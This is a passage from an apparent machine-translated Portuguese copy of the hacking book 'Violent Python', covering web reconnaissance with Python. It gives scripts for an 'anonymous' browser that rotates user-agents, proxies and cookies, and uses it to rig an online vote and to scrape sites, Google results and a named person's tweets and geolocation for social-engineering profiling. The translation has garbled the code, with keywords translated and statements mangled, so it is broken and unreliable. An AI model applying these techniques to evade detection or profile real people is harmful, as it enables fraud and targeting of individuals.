mações sobre o navegador pode adaptar o código HTML e permitir uma melhor
experiência. No entanto, esta informação pode incluir a versão do kernel, navegador
versão, e outras informações detalhadas sobre o usuário. sites maliciosos usar
esta informação para servir a correta explorar para um determinado navegador, enquanto
outros sítios de usar essa informação para diferenciar entre computadores que
estão por trás NAT em uma rede privada. Recentemente, um escândalo surgiu quando era
descobriu que user­agents cordas estavam sendo usados ​ p or determinados websites de viagens

para detectar usuários MacBook e oferecer­lhes opções mais caras.
Felizmente, Mecanizar faz mudar a string user­agent tão fácil como mudar
o proxy. O site http://www.useragentstring.com/pages/useragentstring.
phpapresenta ­nos uma enorme lista de válidos user­agent cordas para escolher a partir para o
próxima função (Lista de usuário agente de cordas, de 2012). Vamos escrever um script para testar
mudando nossa string user­agent para um navegador Netscape 6.01 rodando em um Linux
2.4 kernel e buscar uma página da http://whatismyuseragent.dotdoh.com/ que
imprime a string user­agent.
mecanizar importação
def testUserAgent (url, userAgent):
navegador mechanize.Browser = ()
browser.addheaders = userAgent
page = browser.open (url)
source_code page.read = ()
source_code de impressão
url = 'http://whatismyuseragent.dotdoh.com/'
userAgent = [( "User­agent ',' Mozilla / 5.0 (X11; U; '+ \
'Linux 2.4.2­2 i586; en­US; m18) Gecko / 20010131 Netscape6 / 6.01 ')]
testUserAgent (url, userAgent)

A execução do script, vemos que com êxito pode navegar numa página com um falsificado
string user­agent. O site acredita que estamos executando Netscape 6,01 em vez de
buscar a página usando Python.

Recon: ~ # python userAgentTest.py
<Html>
<Head>

216 CAPÍTULO 6: Recon web com Python

<Title> Navegador UserAgent Teste </ title>
<style type = "text / css">
<.. Cortou ..>
<p> <a href = alvo "http://www.dotdoh.com" = "_blank"> <img src = "logotipo.
gif "alt = " Logo "width = " 646 "height = " 111 "border = " 0 "> </a> </ p>
<P> string UserAgent <h4> O seu navegador é: <span
classe = "Style1"> <em> Mozilla / 5.0 (X11; U; Linux 2.4.2­2 i586; EN­US;
m18) Gecko / 20010131 Netscape6 / 6.01 </ em> </ span> </ h4>
</ P>
<.. Cortou ..>

Finalmente, sites apresentará cookies para um navegador web que irá conter alguns
espécie de única fi er identi que permite que o site para verificar um visitante de repetição. Prevenir

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 143/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
isso, vamos limpar os cookies do nosso navegador sempre que a realização de outra Anônimos
funções mizar. Outra biblioteca incluído na distribuição Python core, cozedura
ielib, contém vários tipos de contêineres diferentes para lidar com cookies. O tipo
usada aqui inclui a funcionalidade para guardar vários bolinhos para o disco. esta função
cionalidade permite ao usuário visualizar os biscoitos sem ter que voltar para o site
depois de inicialmente acessá­lo. Vamos construir um script simples para testar usando o CookieJar
funcionalidade. Vamos abrir o http://www.syngress.com página como fizemos em nossa
fi primeiro exemplo, mas agora nós imprimir os cookies armazenados durante a sessão de navegação.

mecanizar importação
cookielib importação
printCookies def (URL):
navegador = mechanize.Browser ()
cookie_jar = cookielib.LWPCookieJar ()
browser.set_cookiejar (cookie_jar)
page = browser.open (url)
de biscoito em cookie_jar:
bolinho de impressão
url = 'http://www.syngress.com/'
printCookies (url)
A execução do script, vemos um cookie ID de sessão exclusiva para navegar na Syngress
site.

Recon: ~ # python printCookies.py
<Biscoito _syngress_session = BAh7CToNY3VydmVudHkiCHVzZDoJbGFzdCIAOg9zZYNz
aW9uX2lkIiU1ZW
FmNmIxMTQ5ZTQxMzUxZmE2ZDI1MSBlYTA4ZDUxOSIKZmxhc2hJQzonQWN0aW8u
Q29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA% 3D% 3D­­
f80f741456f6c0dc82382bd8441b75a7a39f76c8 forwww.syngress.com/>

217
Usando a Biblioteca Mecanizar para navegar na Internet

Finalizando Nossa AnonBrowser em uma classe Python
Já existem várias funções que recebem um navegador como um parâmetro e
modificá­lo, ocasionalmente com um parâmetro adicional. Faz sentido que se
fosse possível adicionar o navegador de classe de Mecanizar, essas funções podem ser
resumia a uma simples chamada por um objeto navegador, em vez de ter que importar
nossas próprias funções em todos os fi le e chamada usando algum tipo de sintaxe estranha.
Podemos fazer isso através da extensão de navegador de classe de Mecanizar. Nosso novo navegador
classe terá nossas funções já criados, bem como acrescentou funcionalismo
dade para a função de inicialização. Isso vai ajudar com a legibilidade do código, e
encapsular todas as funções que lidam diretamente com a classe Browser em
um lugar.
mecanizar importação, cookielib, aleatório
classe anonBrowser (mechanize.Browser):
def __init __ (self, proxies = [], user_agents = []):
mechanize.Browser .__ o init __ (self)
self.set_handle_robots (Falso)
self.proxies = proxies
self.user_agents = user_agents + [ 'Mozilla / 4.0', \
'FireFox / 6.01', 'ExactSearch', 'Nokia7110 / 1.0']
self.cookie_jar cookielib.LWPCookieJar = ()
self.set_cookiejar (self.cookie_jar)
self.anonymize ()
clear_cookies def (self):
self.cookie_jar cookielib.LWPCookieJar = ()
self.set_cookiejar (self.cookie_jar)
change_user_agent def (self):
index = random.randrange (0, len (self.user_agents))
self.addheaders = [( "User­agent ', \
(Self.user_agents [índice]))]
change_proxy def (self):
se self.proxies:
index = random.randrange (0, len (self.proxies))
self.set_proxies ({ 'http': self.proxies [índice]})
def anonymize (self, o sono = false):
self.clear_cookies ()
self.change_user_agent ()
self.change_proxy ()
se o sono:
time.sleep (60)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 144/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

218 CAPÍTULO 6: Recon web com Python

A nossa nova classe tem uma lista padrão de user­agents, e aceita uma lista para adicionar a ele, como
bem como uma lista de servidores proxy que o usuário gostaria de usar. Tem também a três
funções que criamos anteriormente, que podem ser chamados separadamente ou todos de uma vez
na função Anonymize. Finalmente, a função Anonymize oferece a opção
de esperar durante 60 segundos, o aumento do tempo entre as solicitações visto num Serv
toras de er. Enquanto não mudar nada sobre as informações apresentadas, este
etapa extra diminui as chances de que as atividades serão reconhecidos como originários
a partir da mesma fonte. Este aumento do tempo é semelhante ao conceito de "segurança
através da obscuridade ", mas a precaução extra é útil, pois o tempo não é normalmente
uma preocupação. Outro programa pode aceder a esta nova classe na mesma maneira como
usando a classe browser a partir Mecanizar. A fi le anonBrowser.py contém o
nova classe, como visto nas chamadas de importação e deve ser salvo no diretório local
dos scripts que vai chamá­lo.
Vamos escrever um script para importar a nossa nova classe browser. Eu tive um professor anos
atrás, que ajudou seu four­year­old filha em uma competição de votação online
onde gatinhos competiu pela fofura. Porque os votos foram tabulados em um por
base sessão, cada visita a votação teria de ser único. Vamos ver se nós
pode enganar o website http://kittenwar.com para conceder­nos cookies exclusivos para
cada visita. Vamos visitar o website quatro vezes e anonymize entre cada
sessão.

de anonBrowser import *
ab = anonBrowser (proxies = [], \
user_agents = [( "User­agent ',' superSecretBroswer ')])
por tentativa no intervalo (1, 5):
ab.anonymize ()
print '[*] Página Buscando'
resposta = ab.open ( 'http://kittenwar.com')
de biscoito em ab.cookie_jar:
bolinho de impressão
A execução do script, vemos página buscada cinco vezes único, com uma dife­
sessão de cookie PHP ent para cada visita única. Sucesso! Com o nosso anônimo
classe navegador construído, vamos começar a raspagem páginas da web para obter informações sobre o nosso
alvos.

Recon: ~ # python kittenTest.py
[*] Página Buscando
<Biscoito PHPSESSID = qg3fbia0t7ue3dnen5i8brem61 para kittenwar.com/>
[*] Página Buscando
<Biscoito PHPSESSID = 25s8apnvejkakdjtd67ctonfl0 para kittenwar.com/>
[*] Página Buscando

Raspagem páginas da Web com AnonBrowser 219

<Biscoito PHPSESSID = 16srf8kscgb2l2e2fknoqf4nh2 para kittenwar.com/>
[*] Página Buscando
<Biscoito PHPSESSID = 73uhg6glqge9p2vpk0gt3d4ju3 para kittenwar.com/>

Raspagem páginas da web com ANONBROWSER
Agora que podemos recuperar o conteúdo da web com Python, o reconhecimento de
metas pode começar. Vamos começar a nossa pesquisa por raspagem sites, algo
que a maioria das organizações têm neste dia e idade. Um atacante pode completamente
explorar página do alvo procurando peças escondidas e valiosos de dados.
No entanto, tais medidas podem gerar um maior número de páginas vistas. em movimento
o conteúdo do Web site para uma máquina local reduz o número de página
pontos de vista. Podemos visitar a página apenas uma vez e depois acessá­lo de um número infinito de
vezes da nossa máquina local. Há uma série de quadros populares para
fazendo isso, mas vamos construir o nosso próprio para aproveitar o anonBrowser
classe criado anteriormente. Vamos usar a nossa classe anonBrowser para raspar todos os links de
um alvo particular.

Analisar links HREF com Beautiful Soup
Para completar a tarefa de ligações de análise de um site de destino, as nossas duas opções
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 145/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
são: (1) a utilizar expressões regulares para fazer a pesquisa e substituir tarefas dentro do
código HTML; ou (2) para usar uma biblioteca de terceiros poderoso chamado BeautifulSoup,
disponível em http://www.crummy.com/software/BeautifulSoup/. Os criadores
de BeautifulSoup construiu esta fantástica biblioteca para manipulação e análise de HTML
e XML (BeautifulSoup, 2012). Primeiro, vamos olhar rapidamente para a forma de fi ligações nd
Usando estes dois métodos, e, em seguida, explicar por que na maioria dos casos BeautifulSoup
é preferível.
de anonBrowser import *
de BeautifulSoup BeautifulSoup importação
import os
optparse importação
importação re
printLinks def (URL):
ab = anonBrowser ()
ab.anonymize ()
page = ab.open (url)
html = page.read ()
experimentar:
print '[+] impressão Ligações de Regex.'
link_finder = re.compile ( "href =" (. *?) " ')

220 CAPÍTULO 6: Recon web com Python

ligações = link_finder.findall (html)
para o link em links:
ligação de impressão
exceto:
passar
experimentar:
print '\ n [+] Printing links de BeautifulSoup.'
sopa = BeautifulSoup (html)
ligações = soup.findAll (name = 'a')
para o link em links:
se link.has_key ( 'href'):
ligação de impressão [ 'href']
exceto:
passar
def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'U <target url>')
parser.add_option ( '­ u', dest = 'tgtURL', type = 'string', \
help = 'Especificar URL de destino')
(Opções, args) = parser.parse_args ()
url = options.tgtURL
Se o URL == None:
parser.usage de impressão
exit (0)
outro:
printLinks (url)
se __name__ == '__main__':
a Principal()
Correr, nosso script, vamos analisar os links de um site popular que exibe
nada mais do que hamsters dançando. Nosso script produz resultados para ligações
detectados por uma expressão regular e ligações detectado pelo BeautifulSoup
analisador.

Recon: # python linkParser.py ­uhttp: //www.hampsterdance.com/
[+] Páginas imprimir a partir de Regex.
styles.css
http://Kunaki.com/Sales.asp?PID = PX00ZBMUHD
http://Kunaki.com/Sales.asp?PID=  PX00ZBMUHD
freshhampstertracks.htm

Raspagem páginas da Web com AnonBrowser 221

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 146/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

freshhampstertracks.htm
freshhampstertracks.htm
http://twitter.com/hampsterrific
http://twitter.com/hampsterrific
https://app.expressemailmarketing.com/Survey.aspx?SFID= 32244
funnfree.htm
https://app.expressemailmarketing.com/Survey.aspx?SFID= 32244
https://app.expressemailmarketing.com/Survey.aspx?SFID= 32244
meetngreet.htm
http://www.asburyarts.com
index.htm
meetngreet.htm
musicmerch.htm
funnfree.htm
freshhampstertracks.htm
hampsterclassics.htm
http://www.statcounter.com/joomla/
[+] Páginas imprimir a partir de BeautifulSoup.
http://Kunaki.com/Sales.asp?PID=  PX00ZBMUHD
http://Kunaki.com/Sales.asp?PID=  PX00ZBMUHD
freshhampstertracks.htm
freshhampstertracks.htm
freshhampstertracks.htm
http://twitter.com/hampsterrific
http://twitter.com/hampsterrific
https://app.expressemailmarketing.com/Survey.aspx?SFID= 32244
funnfree.htm
https://app.expressemailmarketing.com/Survey.aspx?SFID= 32244
https://app.expressemailmarketing.com/Survey.aspx?SFID= 32244
meetngreet.htm
http://www.asburyarts.com
http://www.statcounter.com/joomla/
No fi olhar primeiro, os dois parecem ser relativamente equivalente. No entanto, usando um
expressão regular e Beautiful Soup tem produzido resultados diferentes. o
tags associadas a uma determinada peça de dados são susceptíveis de mudar, causando
programas a serem mais resistentes aos caprichos de um administrador do site. Para
exemplo, a nossa expressão regular incluem a styles.css folha de estilo em cascata como
um link: claramente, esta não é uma ligação, mas corresponde a nossa expressão regular. o
analisador Beautiful Soup sabia ignorar isso e não incluí­lo.

222 CAPÍTULO 6: Recon web com Python

Espelhamento Imagens com Beautiful Soup
Além dos links em uma página, ele pode ser útil para raspar todas as imagens.
No Capítulo 3, vimos como podemos ser capazes de extrair os metadados de imagens.
Mais uma vez, BeautifulSoup é a chave, permitindo uma busca de qualquer objeto HTML com o
tag "img". O objeto navegador descarrega a imagem e salva no local,
disco rígido como um fi binário le; mudanças são então feitas no código HTML real
num processo quase idêntico ao ligar reescrita. Com essas mudanças, a nossa base
raspador torna­se robusto o suficiente para reescrever links direcionados para a máquina local
e transfere as imagens do site.
de anonBrowser import *
de BeautifulSoup BeautifulSoup importação
import os
optparse importação
mirrorImages def (url, dir):
ab = anonBrowser ()
ab.anonymize ()
html = ab.open (url)
sopa = BeautifulSoup (html)
image_tags = soup.findAll ( "img")
para a imagem em image_tags:
filename = imagem [ 'src'] .lstrip ( 'http: //')
filename = os.path.join (dir \
filename.replace ( '/', '_'))
print '[+] Salvando' + str (filename)
data = ab.open (imagem [ 'src']). read ()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 147/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
ab.back ()
save = open (filename, 'wb')
save.write (dados)
save.close ()
def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'U <url destino> ­d <diretório de destino>')
parser.add_option ( '­ u', dest = 'tgtURL', type = 'string', \
help = 'Especificar URL de destino')
parser.add_option ( '­ d', dest = 'dir', type = 'string', \
help = 'especificar o diretório de destino ")
(Opções, args) = parser.parse_args ()
url = options.tgtURL
dir = options.dir

Research, Investigar, Descoberta223

Se o URL == Nenhum ou dir == None:
parser.usage de impressão
exit (0)
outro:
experimentar:
mirrorImages (url, dir)
salvo exceção, e:
print '[­] Erro de espelhamento de Imagens ".
print '[­]' + str (e)
se __name__ == '__main__':
a Principal()

Executar o script contra xkcd.com, vemos que ela tem down­sucesso
carregado todas as imagens da nossa Web favorita cómica.
Recon: ~ # python imageMirror.py ­u http://xkcd.com ­d / tmp /
[+] Salvando /tmp/imgs.xkcd.com_static_terrible_small_logo.png
[+] Salvando /tmp/imgs.xkcd.com_comics_moon_landing.png
[+] Salvando /tmp/imgs.xkcd.com_s_a899e84.jpg

RESEARCH, investigar DISCOVERY
Na maioria dos modernos tentativas de engenharia social, um atacante começa com um alvo
empresa ou negócio. Para os autores do Stuxnet, foi pessoas no Irã
com acesso a determinados sistemas SCADA. As pessoas por trás da Operação Aurora
estavam pesquisando as pessoas de um subconjunto de empresas, a fim de "lugares de acesso
de importante propriedade intelectual "(Zetter, 2010, p. 3). Vamos fingir, temos uma
empresa de interesse e conhecer uma das principais pessoas por trás dele; um comum
atacante pode ter ainda menos informações do que isso. Os invasores, muitas vezes, têm
apenas o mais amplo conhecimento do seu alvo, o que exige a utilização do Inter­
rede e outros recursos para desenvolver uma imagem de um indivíduo. Desde o oráculo,
Google, sabe tudo, voltamos a ele na próxima série de scripts.

Interagindo com a API do Google em Python
Imagine por um segundo que um amigo lhe faz uma pergunta sobre um tema obscuro
eles erroneamente imaginar que você sabe algo sobre. Como você responde?
Pesquise no Google. E assim, o website mais visitado é tão popular que se tornou um verbo.
Então, como vamos achar mais informações sobre a empresa­alvo? Bem, a
resposta, novamente, é o Google. Google fornece um programador de aplicação inter­
face (API) que permite aos programadores para fazer consultas e obter resultados sem
ter que tentar e cortar a interface "normal" do Google. Atualmente dois

224 CAPÍTULO 6: Recon web com Python

APIs, uma API depreciado e uma API, que exigem uma chave do desenvolvedor (Google,
2010). A exigência de um único desenvolvedor chave iria fazer o anonimato
impossível, algo que nossos scripts anteriores se esforçou para conseguir. Sorte­
ily, a versão desvalorizou ainda permite que um bom número de consultas por dia, com
cerca de trinta resultados por pesquisa. Para efeitos de recolha de informação,

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 148/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
trinta resultados são mais do que suficiente para obter uma imagem da web de uma organização
presença. Nós vamos construir a nossa função de consulta a partir do zero e voltar a
informações um atacante estaria interessado em.

urllib importação
de anonBrowser import *
google def (search_term):
ab = anonBrowser ()
search_term = urllib.quote_plus (search_term)
response = ab.open ( 'http://ajax.googleapis.com/' + \
'Ajax / serviços / pesquisa / web? V = 1,0 & q =' + search_term)
response.read print ()
google ( 'Boondock Saint')

A resposta do Google deve ser semelhante à seguinte bagunça confusa:
{ "ResponseData": { "resultados": [{ "GsearchResultClass": "GwebSearch",
"UnescapedUrl": "http://www.boondocksaints.com/", "URL": "http: //
www.boondocksaints.com/","visibleUrl":"www.boondocksaints.
com "," cacheUrl ":" http:? //www.google.com/search q \
u003dcache: J3XW0wgXgn4J: www.boondocksaints.com "," title ":" A \
u003cb \ u003eBoondock Santos \ u003c / b \ u003e "," titleNoFormatting ":" O
Boondock
<.. Cortou ..>
\ U003cb \ u003e ... \ u003c / b \ u003e "}]," cursor ": {" RESULTCOUNT ":" 62.800 ",
"páginas": [{ "Iniciar": "0", "label": 1}, { "start": "4", "label": 2}, { "start
":" 8 "," label ": 3}, {" start ":" 12 "," label ": 4}, {" start ":" 16 "," label ":
5}, { "start": "20", "label": 6}, { "start": "24", "label": 7}, { "start": "2
8 "," etiqueta ": 8}]," estimatedResultCount ":" 62800 "," CurrentPageIndex "
: 0 ", moreResultsUrl": "http:? //www.google.com/search Oe \ u003dutf8 \
u0026ie \ u003dutf8 \ u0026source \ u003duds \ u0026start \ u003d0 \ u0026hl \
u003den \ u0026q \ u003dBoondock + Santo "," searchResultTime ":" 0,16 "}},
"responseDetails": null, "responseStatus": 200}
A função quote_plus () da biblioteca urllib é o fi nova peça primeira de
código neste script. codificação de URL refere­se à maneira que não alfanumérico
caracteres são transmitidos para servidores web (Wilson, 2005). Embora não seja o per­
função fect para codificação de URL, é adequado para os nossos propósitos. a impressão
declaração no final exibe a resposta do Google: uma longa seqüência de
chaves, colchetes e aspas. Se você olhar de perto, no entanto, a

Research, Investigar, Descoberta225

resposta parece muito com um dicionário. A resposta está no formato JSON,
que é muito semelhante, na prática, um dicionário, e, sem surpresa, Python
tem uma biblioteca construída para lidar com seqüências de JSON. Vamos adicionar este para a função e
reexaminar a nossa resposta.

importação json, urllib
de anonBrowser import *
google def (search_term):
ab = anonBrowser ()
search_term = urllib.quote_plus (search_term)
response = ab.open ( 'http://ajax.googleapis.com/' + \
'Ajax / serviços / pesquisa / web? V = 1,0 & q =' + search_term)
objetos = json.load (resposta)
objetos de impressão
google ( 'Boondock Saint')

Quando o objeto impressões, deve olhar muito similar a quando response.read ()
foi impresso na função primeira. A biblioteca JSON carregado a resposta em
um dicionário, tornando os campos dentro de fácil acesso, em vez de exigir o
string a ser analisado manualmente.
{U'responseData ': {u'cursor': {u'moreResultsUrl ': u'http: //www.google.
com / search? oe= Utf8 & ie = utf8 & source = uds & Start = 0 & hl = en & q = Boondock
+ Saint ', u'estimatedResultCount': u'62800 ', u'searchResultTime':
u'0.16 ', u'resultCount': u'62,800 ', u'pages': [{u'start ': u'0',
u'label ': 1}, {u'start': u'4 ', u'label': 2}, {u'start ': u'8',
u'label ': 3}, {u'start': u'12 ', u'label': 4}, {u'start ': u'16',
u'label ': 5}, {u'start': u'20 ', u'label': 6}, {u'start ': u'24',
u'label ': 7}, {u'start': u'28 ', u..SNIPPED ..>
Santos </ b> ­ Wikipédia, a enciclopédia livre ", u'url ': u'http: //
en.wikipedia.org/wiki/The_Boondock_Saints ',u'cacheUrl ': u'http: //
www.google.com/search?q=  Cache: BKaGPxznRLYJ: en.wikipedia.org ',
u'unescapedUrl ': u'http: //en.wikipedia.org/wiki/The_Boondock_
Santos ',u'content ':  u'The <b> Justiceiros Santos </ b> é um 1999 americano
filme de ação escrito e dirigido por Troy Duffy. O filme é estrelado Sean
Patrick Flanery e Norman Reedus como fraterna Irish <b> ... </ b> '}]},
u'responseDetails ': None, u'responseStatus': 200}

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 149/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Agora podemos pensar sobre o que importa nos resultados de uma determinada pesquisa Google.
Obviamente, os links para as páginas retornadas são importantes. Além disso, a página
títulos e os pequenos trechos de texto que o Google usa para visualizar a página web
encontrados pelo motor de busca são úteis para compreender o que o link leva a.
A fim de organizar os resultados, vamos criar uma classe de nu­ossos para manter os dados.
Isso fará com que o acesso aos vários campos mais fácil do que ter que mergulhar através
três níveis de dicionários para obter informações.

226 CAPÍTULO 6: Recon web com Python

json importação
urllib importação
optparse importação
de anonBrowser import *
classe Google_Result:
def __init __ (self, título, texto, url):
self.title = título
self.text = text
self.url = url
def __repr __ (self):
self.title retorno
google def (search_term):
ab = anonBrowser ()
search_term = urllib.quote_plus (search_term)
response = ab.open ( 'http://ajax.googleapis.com/' + \
'Ajax / serviços / pesquisa / web? V = 1,0 & q =' + search_term)
objetos = json.load (resposta)
Resultados = []
para o resultado em objetos [ 'responseData'] [ 'Resultados']:
url = resultado [ 'url']
title = resultar [ 'titleNoFormatting']
text = resultar [ 'conteúdo']
new_gr = Google_Result (título, texto, url)
results.append (new_gr)
retornar resultados
def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'­k <Palavras­chave>')
parser.add_option ( '­ k', dest = 'palavra­chave', type = 'string', \
help = 'especificar google palavra­chave')
(Opções, args) = parser.parse_args ()
keyword = options.keyword
se options.keyword == None:
parser.usage de impressão
exit (0)
outro:
resultados = google (palavra­chave)
resultados de impressão

Research, Investigar, Descoberta227

se __name__ == '__main__':
a Principal()

Esta forma mais limpa de apresentar os dados produziu o seguinte resultado:
Recon: ~ # python anonGoogle.py ­k 'Boondock Saint'
[Santos Justiceiros, Santos Justiceiros (1999) ­ IMDb, The Boondock
Saints II: All Saints Day (2009) ­ IMDb, Santos Justiceiros ­
Wikipédia, a enciclopédia livre]

Analisar tweets com Python
Neste ponto, o nosso script reuniu várias coisas sobre o destino do nosso
reconhecimento automaticamente. Em nossa próxima série de passos, vamos afastar­se

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 150/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
a partir do domínio e organização, e começar a olhar para as pessoas individuais
ea informação disponível sobre eles na Internet.
Assim como o Google, o Twitter oferece uma API para os desenvolvedores. A documentação,
localizado na https://dev.twitter.com/docs, é muito completo e fornece acesso a
abundância de recursos que não serão utilizados neste programa (Twitter, 2012).
Vamos agora examinar como para raspar os dados do Twitter. Especificamente, vamos puxar o
tweets e retweets de um hacker patriota US conhecido como th3j35t3r. Como ele usa o
nome "Boondock Santo" como a sua pro fi le nome no Twitter, vamos usar isso para construir
nossa reconPerson () da classe e digite "th3j35t3r" como o punho do Twitter a pesquisar.

json importação
urllib importação
de anonBrowser import *
classe reconPerson:
def __init __ (self, first_name, last_name, \
job = '', social_media = {}):
self.first_name = first_name
self.last_name = last_name
self.job = trabalho
self.social_media = social_media
def __repr __ (self):
self.first_name retornar + '' + \
self.last_name + 'tem trabalho' + self.job
def get_social (self, Media_Name):
Se self.social_media.has_key (Media_Name):
retorno self.social_media [Media_Name]
Nenhum voltar

228 CAPÍTULO 6: Recon web com Python

query_twitter def (self, consulta):
query = urllib.quote_plus (query)
Resultados = []
navegador anonBrowser = ()
response = browser.open (\
'http://search.twitter.com/search.json?q= ' +
query)
json_objects = json.load (resposta)
para o resultado em json_objects [ 'resultados']:
new_result = {}
new_result [ 'FROM_USER'] = resultado [ 'from_user_
nome']
new_result [ 'geo'] = resultado [ 'geo']
new_result [ 'Tweet'] = resultado [ 'texto']
results.append (new_result)
retornar resultados
ap = reconPerson ( 'Boondock', 'Saint')
ap.query_twitter impressão (\
'De: th3j35t3r desde: 2010­01­01 incluem: retweets')
Enquanto o raspar Twitter continua muito mais longe, já vemos uma abundância de infor­
mações que podem ser úteis em estudar o hacker patriota dos EUA. Nós vemos que ele é
atualmente em con fl ito com o grupo de hackers UGNazi e tem alguns adeptos.
Curiosidade é o melhor de nós, perguntando como isso vai sair.

Recon: ~ # python twitterRecon.py
[{ 'Tweet': u'RTXNineDesigns: @ th3j35t3r não desista. Tu es
o bastião tantos de nós precisa. Fique !!!!!!!! Frosty "," geo ":
Nenhum, 'FROM_USER': u'p \ u01ddz \ u0131uod \ u0250 \ u01dd \ u028d \ u029e \
u0254opuooq '}, {' Tweet ': u'RT @ droogie1xp: "Você espera que eu
falar? "­ #UGNazi" Não #UGNazi espero que você morra "@ th3j35t3r.
#ticktock ',' geo ': None,' FROM_USER ': u'p \ u01ddz \ u0131uod \ u0250 \
u01dd \ u028d \ u029e \ u0254opuooq '}, {' Tweet ': u'RTTehvar: @ th3j35t3r
o meu papel tese para meus mestres vai agora concentrar­se no apoio à
#wwp, enquanto eu não posso doar dinheiro eu posso dar inteligência. "
<.. Cortou ..>

Com sorte, você olhou para este código e pensei "vamos lá agora, eu sei como fazer
isso! "Exatamente! Recuperar informações da Internet começa a seguir um pat­
andorinha do mar depois de um tempo. Obviamente, não é feito o trabalho com os resultados do Twitter
e usá­los para extrair informações sobre o nosso alvo. Plataformas de mídia social
são minas de ouro quando se trata de aquisição de informações sobre um indivíduo.
conhecimento íntimo de uma pessoa do aniversário, cidade natal ou mesmo endereço de casa,

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 151/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Research, Investigar, Descoberta229

número de telefone ou parentes dá credibilidade instantânea para as pessoas com mal­intencionado
intenções. As pessoas muitas vezes não percebem os problemas que utilizam esses sites
de forma insegura pode causar. Vamos examinar isso melhor, extraindo LOCA
Dados ção fora de posts no Twitter.

Puxando Localização Data Out de tweets
Muitos usuários do Twitter seguem uma fórmula não escrita ao compor tweets para
compartilhar com o mundo. Geralmente, a fórmula é: [outro usuário do Twitter o tweet
é dirigido a] + [texto do tweet, muitas vezes com URL encurtada] + [tag (s) de hash]. De outros
informação também pode ser incluído, mas não no corpo do Tweet, tal como
uma imagem ou (espero) um local. No entanto, dar um passo atrás e ver esta
fórmula através dos olhos de um atacante. Para indivíduos mal­intencionados, esta fórmula
torna­se: [pessoa que o usuário está interessado em, aumentando a chance de que eles vão confiar
comunicações de essa pessoa] + [links ou assunto que pessoa está interessada
, eles estarão interessados ​ em outras informações sobre este assunto] + [tendências ou top­

ics que a pessoa gostaria de saber mais sobre]. As imagens ou geotagging
são petiscos não úteis ou engraçados para amigos: eles se tornam detalhes extra para
incluir em uma pro fi le, como quando uma pessoa muitas vezes vai para o pequeno almoço. enquanto esta
pode ser uma visão paranóica do mundo, que agora vai recolher automaticamente essa
informação de cada tweet recuperado.

json importação
urllib importação
optparse importação
de anonBrowser import *
get_tweets def (identificador):
query = urllib.quote_plus ( 'De:' + lidar com + \
'Desde: 2009­01­01 incluem: retweets')
Tweets = []
navegador anonBrowser = ()
browser.anonymize ()
response = browser.open ( 'http://search.twitter.com/' + \
'Search.json? Q =' + consulta)
json_objects = json.load (resposta)
para o resultado em json_objects [ 'resultados']:
new_result = {}
new_result [ 'FROM_USER'] = resultado [ 'from_user_name']
new_result [ 'geo'] = resultado [ 'geo']
new_result [ 'Tweet'] = resultado [ 'texto']
tweets.append (new_result)

230 CAPÍTULO 6: Recon web com Python

devolver os tweets
load_cities def (cityFile):
cidades = []
para a linha em .readlines abertos (cityFile) ():
city ​
= line.strip ( '\ n'). tira ( '\ r'). inferior ()

cities.append (cidade)
cidades de retorno
def twitter_locate (tweets, cidades):
localizações = []
locCnt = 0
cityCnt = 0
tweetsText = ""
para o tweet em os tweets:
Se Tweet [ 'geo']! = None:
locations.append (twittar [ 'geo'])
locCnt + 1 =
tweetsText + = Tweet [ 'Tweet']. inferior ()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 152/173
